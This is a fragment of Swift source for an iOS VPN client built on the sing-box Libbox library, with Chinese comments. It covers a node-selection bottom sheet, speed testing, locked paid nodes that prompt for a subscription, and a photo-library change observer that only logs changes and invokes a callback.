||
//after 2s
|
||
DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + 1.2) {
|
||
Task{
|
||
await reloadSubscribe()
|
||
//获取配置通知
|
||
//await reloadnotice()
|
||
}
|
||
}
|
||
}
|
||
}else{
|
||
DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + 2) {
|
||
Task{
|
||
await getConfig()
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
task.resume()
|
||
}
|
||
|
||
|
||
func from(_ data: Data) throws -> LibboxProfileContent {
|
||
var error: NSError?
|
||
let content = LibboxDecodeProfileContent(data, &error)
|
||
if let error {
|
||
throw error
|
||
}
|
||
return content!
|
||
}
|
||
|
||
// Bottom Sheet...
|
||
@ViewBuilder
|
||
func BottomSheet()->some View{
|
||
if islogined {
|
||
|
||
|
||
VStack(spacing: 0){
|
||
|
||
// Current Server...
|
||
HStack{
|
||
|
||
VStack(alignment: .leading, spacing: 6) {
|
||
|
||
Text("节点选择")
|
||
.font(.headline)
|
||
//Text(currentServer.name).font(.subheadline)
|
||
Text(currentNode).font(.subheadline)
|
||
}
|
||
|
||
Spacer(minLength: 10)
|
||
|
||
if changeServer && groups.count>0{
|
||
Button {
|
||
Task {
|
||
isUrlTesting = true
|
||
await doURLTest()
|
||
DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + 10) {
|
||
isUrlTesting = false
|
||
}
|
||
}
|
||
} label: {
|
||
|
||
Image(systemName: "bolt.fill")
|
||
if (isUrlTesting) {
|
||
ProgressView()
|
||
Text(" ").font(.callout)
|
||
}else{
|
||
|
||
Text("测速").font(.callout)
|
||
.fontWeight(.semibold)
|
||
.foregroundColor(.white)
|
||
}
|
||
|
||
}.disableWithOpacity(isUrlTesting)
|
||
}
|
||
|
||
|
||
// Change Server Button...
|
||
Button {
|
||
if !changeServer {
|
||
if groups.count > 0 { }
|
||
|
||
Task{
|
||
try await Task.sleep(nanoseconds: 1_000_000_000)
|
||
|
||
// commandClient.disconnect()
|
||
commandClient.connect()
|
||
|
||
}
|
||
|
||
|
||
}
|
||
withAnimation{
|
||
changeServer.toggle()
|
||
if servers.isEmpty{
|
||
|
||
if changeServer {
|
||
Task{
|
||
// await reloadNodes()
|
||
}
|
||
}
|
||
}
|
||
|
||
}
|
||
} label: {
|
||
|
||
Text(changeServer ? "收起" : "展开")
|
||
.font(.callout)
|
||
.fontWeight(.semibold)
|
||
.frame(width: 110,height: 45)
|
||
.background(
|
||
|
||
RoundedRectangle(cornerRadius: 10)
|
||
.strokeBorder(.white.opacity(0.25),lineWidth: 2)
|
||
)
|
||
.foregroundColor(.white)
|
||
}
|
||
|
||
|
||
}
|
||
.frame(height: 50)
|
||
.padding(.horizontal)
|
||
|
||
Divider()
|
||
.padding(.top)
|
||
|
||
ScrollView(.vertical, showsIndicators: false) {
|
||
|
||
VStack {
|
||
if loadingNodes {
|
||
ProgressView()
|
||
Text("节点数据加载中...") //网络加载节点
|
||
Spacer().frame(height: 20)
|
||
}
|
||
}.padding()
|
||
|
||
// GroupListView()
|
||
|
||
ScrollView {
|
||
|
||
VStack {
|
||
//groups首先查看是否第一次开启,直接本地读取列表
|
||
if groups.count > 0 {
|
||
ForEach(groups, id: \.newhashValue) { it in
|
||
GroupView(it)
|
||
}
|
||
}else{
|
||
ForEach(groups_firsttime, id: \.newhashValue) { it in
|
||
GroupView(it)
|
||
}
|
||
}
|
||
|
||
/*if (groups_firsttime.count == 0 && groups_firsttime.count == 0 ) {
|
||
VStack {
|
||
ProgressView()
|
||
Spacer().frame(height: 20)
|
||
Text("节点数据加载中...") //本地 json 加载节点
|
||
|
||
}.padding()
|
||
}*/
|
||
|
||
|
||
}.padding() //.background(Color.gray.opacity(0.1))
|
||
|
||
}.padding().padding(.bottom,getSafeArea().bottom)
|
||
if (groups_firsttime.count == 0 && groups_firsttime.count == 0 ) {
|
||
fufeiNodes()
|
||
}
|
||
//GroupListView().padding().padding(.bottom,getSafeArea().bottom)
|
||
|
||
|
||
}
|
||
.opacity(changeServer ? 1 : 0)
|
||
}
|
||
.frame(maxWidth: .infinity)
|
||
// Max Height...
|
||
.frame(height: changeServer ? getRect().height/1.2 : getRect().height / 2.5,alignment: .top)
|
||
.padding()
|
||
.background(
|
||
|
||
Color("BottomSheet")
|
||
.clipShape(CustomCorners(radius: 35, corners: [.topLeft,.topRight]))
|
||
)
|
||
// Safe Area wont show on previews...
|
||
// showing only 50 pixels of height...
|
||
.offset(y: changeServer ? 0 : (getRect().height / 2.5)-50) //(getRect().height / 2.5) - (20 + getSafeArea().bottom)
|
||
}else{
|
||
EmptyView()
|
||
}
|
||
}
|
||
|
||
func fufeiNodes()->some View{
|
||
|
||
|
||
VStack(alignment: .leading, spacing: 18) {
|
||
// Filtered servers...
|
||
// Not showing selected One...
|
||
|
||
ForEach(serverstixignfufeiTest) { server in
|
||
Button(action: {
|
||
withAnimation {
|
||
|
||
changeServer.toggle()
|
||
//提醒付费
|
||
|
||
if (paymentURLKey.count > 3){
|
||
isSubscriptionActive.toggle()
|
||
}
|
||
|
||
}
|
||
}, label: {
|
||
VStack(spacing: 4) {
|
||
HStack {
|
||
VStack(alignment: .leading, spacing: 8) {
|
||
HStack {
|
||
// Image(server.name)
|
||
// .resizable()
|
||
// .aspectRatio(contentMode: .fit)
|
||
// .frame(width: 20, height: 20)
|
||
|
||
Text(server.name)
|
||
.font(.subheadline)
|
||
.fontWeight(.semibold).foregroundStyle(.white)
|
||
}
|
||
|
||
Label {
|
||
Text(server.isOnline == 1 ? "在线可用" : "不可用")
|
||
|
||
} icon: {
|
||
Image(systemName: server.isOnline == 1 ? "checkmark" : "xmark")
|
||
}
|
||
.foregroundColor(server.isOnline == 1 ?.green : .red)
|
||
.font(.caption2)
|
||
}
|
||
|
||
Spacer(minLength: 10)
|
||
|
||
Image(systemName: "lock.fill").foregroundColor(.red)
|
||
|
||
|
||
}
|
||
.frame(height: 50)
|
||
.padding(.horizontal)
|
||
|
||
Divider()
|
||
}
|
||
})
|
||
|
||
}
|
||
}
|
||
.padding(.top, 25)
|
||
.padding(.bottom, getSafeArea().bottom)
|
||
|
||
}
|
||
|
||
private nonisolated func doURLTest() async {
|
||
print("doURLTest: \(await urltestinggoGrouptag) ")
|
||
do {
|
||
if await urltestinggoGrouptag.count > 0 {
|
||
try await LibboxNewStandaloneCommandClient()!.urlTest(urltestinggoGrouptag)
|
||
}
|
||
|
||
} catch {
|
||
print("doURLTest: \(error)")
|
||
// await MainActor.run {
|
||
// alert = Alert(error)
|
||
// }
|
||
}
|
||
|
||
|
||
}
|
||
|
||
@ViewBuilder
|
||
func Background()->some View{
|
||
|
||
// VStack(alignment: .trailing, content: {
|
||
// Spacer()
|
||
// Text("Placeholder")
|
||
// LottieView(animationFileName: "1d2a0fe5", loopMode: .loop)
|
||
// .frame(width: 100 ,height: 100 )
|
||
// })
|
||
|
||
ZStack{
|
||
BackgroundBg()
|
||
|
||
|
||
// Little Planet and little stars....
|
||
Image("mars")
|
||
.resizable()
|
||
.aspectRatio(contentMode: .fill)
|
||
.frame(width: 30, height: 30)
|
||
.scaleEffect(getRect().height < 750 ? 0.8 : 1)
|
||
// not using offset...
|
||
// using postiton..
|
||
// this will position the object using screen basis...
|
||
.position(x: 50, y: getRect().height < 750 ? 200 : 220)
|
||
.opacity(0.7)
|
||
|
||
// Sample star points....
|
||
let stars: [CGPoint] = [
|
||
|
||
CGPoint(x: 15, y: 190),
|
||
CGPoint(x: 25, y: 250),
|
||
CGPoint(x: 20, y: 350),
|
||
CGPoint(x: getRect().width - 30, y: 240),
|
||
]
|
||
|
||
ForEach(stars,id: \.x){star in
|
||
|
||
Circle()
|
||
.fill(.white.opacity(0.3))
|
||
.frame(width: 5, height: 5)
|
||
.position(star)
|
||
.offset(y: getRect().height < 750 ? -20 : 0)
|
||
}
|
||
|
||
|
||
|
||
}
|
||
.ignoresSafeArea()
|
||
}
|
||
|
||
|
||
private nonisolated func serviceReload() async throws {
|
||
try LibboxNewStandaloneCommandClient()!.serviceReload()
|
||
}
|
||
|
||
private nonisolated func setSystemProxyEnabled(_ isEnabled: Bool) async {
|
||
do {
|
||
try LibboxNewStandaloneCommandClient()!.setSystemProxyEnabled(isEnabled)
|
||
await SharedPreferences.systemProxyEnabled.set(isEnabled)
|
||
} catch {
|
||
await MainActor.run {
|
||
alert = Alert(error)
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
func getTitle()->AttributedString{
|
||
var str = AttributedString("sss")
|
||
|
||
if let range = str.range(of: "Lite"){
|
||
str[range].font = .system(size: 24, weight: .light)
|
||
}
|
||
|
||
if let range = str.range(of: "VPN"){
|
||
str[range].font = .system(size: 24, weight: .black)
|
||
}
|
||
|
||
return str
|
||
}
|
||
|
||
}
|
||
|
||
// MARK: - PhotoLibraryObserver Class
|
||
public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryChangeObserver {
|
||
|
||
// 回调闭包,用于调用 HomeView 中的方法
|
||
var onPhotoLibraryChanged: (() -> Void)?
|
||
|
||
public override init() {
|
||
super.init()
|
||
print("📸 PhotoLibraryObserver 初始化完成")
|
||
}
|
||
|
||
public func photoLibraryDidChange(_ changeInstance: PHChange) {
|
||
print("📸 Photo library did change - 相册发生变化")
|
||
|
||
DispatchQueue.main.async {
|
||
// 在主线程更新UI,调用 HomeView 中的处理方法
|
||
print("📸 Processing photo library changes on main thread")
|
||
self.onPhotoLibraryChanged?()
|
||
}
|
||
}
|
||
|
||
|
||
func register() {
|
||
PHPhotoLibrary.shared().register(self)
|
||
print("📸 已注册相册变化监听")
|
||
}
|
||
|
||
func unregister() {
|
||
PHPhotoLibrary.shared().unregisterChangeObserver(self)
|
||
print("📸 已取消注册相册变化监听")
|
||
}
|
||
}
|
||
|
||
//struct HomeView_Previews: PreviewProvider {
|
||
//
|
||
// static var previews: some View {
|
||
// HomeView()
|
||
// }
|
||
//}/ Triangle shape for the small tail in the speech bubble
|
||
|
||
// Data扩展:用于简化追加数据到Data对象
|
||
extension Data {
|
||
mutating func appendString(_ string: String) {
|
||
if let data = string.data(using: .utf8) {
|
||
append(data)
|
||
}
|
||
}
|
||
}
|
||
|